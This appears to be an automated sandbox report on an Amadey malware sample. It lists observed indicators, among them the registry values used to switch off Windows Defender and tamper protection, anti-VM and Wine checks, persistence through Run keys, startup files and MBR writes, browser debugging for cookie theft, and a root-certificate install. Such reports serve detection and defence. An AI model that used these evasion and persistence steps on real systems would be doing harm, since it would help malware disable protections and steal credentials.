amadey | db1bb60253ead1efd2cac1fc3dd58052d28c2e093cfd9a5abae563ebb658dd59

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/memory/4864-221-0x0000000000190000-0x0000000000608000-memory.dmp	family_sectoprat
behavioral2/memory/4864-222-0x0000000000190000-0x0000000000608000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs

Query Registry

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	09c586796227f25da3e37d9203d0c48e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sHN20me.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoDnGT.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
38	4676	powershell.exe
42	4676	powershell.exe
50	4676	powershell.exe
51	4676	powershell.exe
56	4676	powershell.exe
64	4676	powershell.exe
66	4676	powershell.exe
67	4676	powershell.exe
68	4676	powershell.exe
73	4676	powershell.exe
78	4676	powershell.exe
86	4676	powershell.exe
94	4676	powershell.exe
95	4676	powershell.exe
98	4676	powershell.exe
99	4676	powershell.exe
100	4676	powershell.exe
101	4676	powershell.exe
102	4676	powershell.exe
103	4676	powershell.exe
104	4676	powershell.exe
106	4676	powershell.exe
108	4676	powershell.exe
109	4676	powershell.exe
110	4676	powershell.exe
111	4676	powershell.exe
112	4676	powershell.exe
113	4676	powershell.exe
114	4676	powershell.exe
123	4676	powershell.exe
126	4676	powershell.exe
127	4676	powershell.exe
129	4676	powershell.exe
134	4676	powershell.exe
135	4676	powershell.exe
137	4676	powershell.exe
138	4676	powershell.exe
141	4676	powershell.exe
143	4676	powershell.exe
146	4676	powershell.exe
147	4676	powershell.exe
148	4676	powershell.exe
149	4676	powershell.exe
150	4676	powershell.exe
151	4676	powershell.exe
152	4676	powershell.exe
153	4676	powershell.exe
154	4676	powershell.exe
157	4676	powershell.exe
161	4676	powershell.exe
162	4676	powershell.exe
163	4676	powershell.exe
169	4676	powershell.exe
173	4676	powershell.exe
174	4676	powershell.exe
178	4676	powershell.exe
181	4676	powershell.exe
182	4676	powershell.exe
187	4676	powershell.exe
190	4676	powershell.exe
202	4676	powershell.exe
206	4676	powershell.exe
210	4676	powershell.exe
212	4676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6008	powershell.exe
2064	powershell.exe
3964	powershell.exe
3488	powershell.exe
5984	powershell.exe
1292	powershell.exe
5328	powershell.exe
5592	powershell.exe
5764	powershell.exe
5384	powershell.exe

Downloads MZ/PE file 27 IoCs

flow	pid	Process
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
3	1484	skotes.exe
215	1484	skotes.exe
215	1484	skotes.exe
215	1484	skotes.exe
215	1484	skotes.exe
215	1484	skotes.exe
275	5104	futors.exe
275	5104	futors.exe
275	5104	futors.exe
251	3488	powershell.exe
288	5984	powershell.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
1356	chrome.exe
4464	chrome.exe
4908	msedge.exe
2404	msedge.exe
5736	msedge.exe
2064	chrome.exe
2260	chrome.exe
6024	msedge.exe
5700	msedge.exe

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	09c586796227f25da3e37d9203d0c48e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	09c586796227f25da3e37d9203d0c48e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	09c586796227f25da3e37d9203d0c48e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	skotes.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe

Executes dropped EXE 31 IoCs

pid	Process
1484	skotes.exe
1764	c379a1bd05.exe
4556	c379a1bd05.exe
2740	13Z5sqy.exe
3044	jonbDes.exe
2980	Bjkm5hE.exe
4168	Bjkm5hE.exe
3832	Fe36XBk.exe
4864	ViGgA8C.exe
2368	DTQCxXZ.exe
4860	TaVOM7x.exe
1504	skotes.exe
1816	d2YQIJa.exe
952	sHN20me.exe
1252	spoDnGT.exe
1016	Ta3ZyUR.exe
1344	Ta3ZyUR.exe
4172	Ta3ZyUR.exe
3016	qFqSpAp.exe
952	m5UP2Yj.exe
4160	jROrnzx.exe
1520	jROrnzx.exe
5104	7aencsM.exe
2496	7aencsM.exe
884	amnew.exe
5104	futors.exe
2988	c4a7457852.exe
3972	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
5276	7aencsM.exe
3464	7aencsM.exe
5832	483d2fa8a0d53818306efeb32d3.exe

Identifies Wine through registry keys 2 TTPs 11 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	spoDnGT.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	m5UP2Yj.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	Fe36XBk.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	ViGgA8C.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	d2YQIJa.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	sHN20me.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	09c586796227f25da3e37d9203d0c48e.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	skotes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c4a7457852.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1085378101\\c4a7457852.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1085379021\\am_no.cmd"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	Fe36XBk.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000c000000023b83-971.dat	autoit_exe
behavioral2/files/0x0005000000022a0a-1757.dat	autoit_exe
behavioral2/files/0x000c000000023cdf-1794.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
4904	09c586796227f25da3e37d9203d0c48e.exe
1484	skotes.exe
3832	Fe36XBk.exe
4864	ViGgA8C.exe
1504	skotes.exe
1816	d2YQIJa.exe
952	sHN20me.exe
1252	spoDnGT.exe
952	m5UP2Yj.exe
3972	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 1764 set thread context of 4556	1764	c379a1bd05.exe	86
PID 2980 set thread context of 4168	2980	Bjkm5hE.exe	94
PID 2740 set thread context of 4620	2740	13Z5sqy.exe	108
PID 1016 set thread context of 4172	1016	Ta3ZyUR.exe	116
PID 4160 set thread context of 1520	4160	jROrnzx.exe	123
PID 5104 set thread context of 2496	5104	7aencsM.exe	129
PID 4860 set thread context of 5016	4860	TaVOM7x.exe	126
PID 5276 set thread context of 3464	5276	7aencsM.exe	181

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5408-1542-0x00007FFF15F80000-0x00007FFF16569000-memory.dmp	upx
behavioral2/memory/5408-1545-0x00007FFF2B4A0000-0x00007FFF2B4AF000-memory.dmp	upx
behavioral2/memory/5408-1544-0x00007FFF2A3D0000-0x00007FFF2A3F3000-memory.dmp	upx
behavioral2/memory/5408-1546-0x00007FFF2A5D0000-0x00007FFF2A5E9000-memory.dmp	upx
behavioral2/memory/5408-1547-0x00007FFF2B490000-0x00007FFF2B49D000-memory.dmp	upx
behavioral2/memory/5408-1549-0x00007FFF28E90000-0x00007FFF28EBD000-memory.dmp	upx
behavioral2/memory/5408-1548-0x00007FFF28F50000-0x00007FFF28F69000-memory.dmp	upx
behavioral2/memory/5408-1550-0x00007FFF25470000-0x00007FFF254A6000-memory.dmp	upx
behavioral2/memory/5408-1551-0x00007FFF2A3C0000-0x00007FFF2A3CD000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	09c586796227f25da3e37d9203d0c48e.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0007000000023d06-1414.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 12 IoCs

pid	pid_target	Process	procid_target
2812	1764	WerFault.exe	85
3560	2980	WerFault.exe	93
2752	1016	WerFault.exe	114
5044	4160	WerFault.exe	121
4288	5104	WerFault.exe	127
1940	5276	WerFault.exe	179
4364	5928	WerFault.exe	191
5232	1468	WerFault.exe	205
4312	4372	WerFault.exe	212
5280	5800	WerFault.exe	222
5676	5044	WerFault.exe	230
2636	3032	WerFault.exe	241

System Location Discovery: System Language Discovery 1 TTPs 53 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c379a1bd05.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TaVOM7x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c379a1bd05.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qFqSpAp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jonbDes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sHN20me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09c586796227f25da3e37d9203d0c48e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DTQCxXZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ta3ZyUR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13Z5sqy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ta3ZyUR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4a7457852.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7aencsM.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7aencsM.exe

Delays execution with timeout.exe 2 IoCs

pid	Process
4668	timeout.exe
4868	timeout.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 5 IoCs

defense_evasion spyware trojan

pid	Process
2516	taskkill.exe
704	taskkill.exe
4604	taskkill.exe
6108	taskkill.exe
1480	taskkill.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies system certificate store 2 TTPs 2 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	7aencsM.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc14496804